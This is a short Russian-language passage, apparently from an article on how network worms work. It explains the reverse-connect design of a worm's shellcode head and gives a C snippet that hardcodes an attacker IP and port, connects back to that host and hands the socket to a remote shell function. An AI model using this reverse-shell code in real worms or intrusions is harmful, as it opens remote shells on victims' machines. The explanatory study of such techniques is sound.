reverse.gif атакующий
Одновременно с этим упрощается и программная реализация головы червя, клиентский код которого сокращается всего до двух функций: socket и connect, правда IP-адрес атакующего приходится жестко (hardcoded) прошивать внутри червя. То есть, червь должен уметь динамически изменять свой shell-код, а это (с учетом требований, предъявляемых к shell-коду) не такая уж и простая задача.
#define HACKERS_PORT 666
#define HACKERS_IP "127.0.0.1"
…
// шаг 1: создаем сокета
if ((csocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
// шаг 2: устанавливаем соединение
caddr.sin_family = AF_INET;
caddr.sin_port = htons(HACKERS_PORT);
caddr.sin_addr.s_addr = inet_addr(HACKERS_IP);
if (connect(csocket, (struct sockaddr*)&caddr, sizeof(caddr))) return -1;
// шаг 3: обмениваемся данными с сокетом
sshell(csocket, MAX_BUF_SIZE );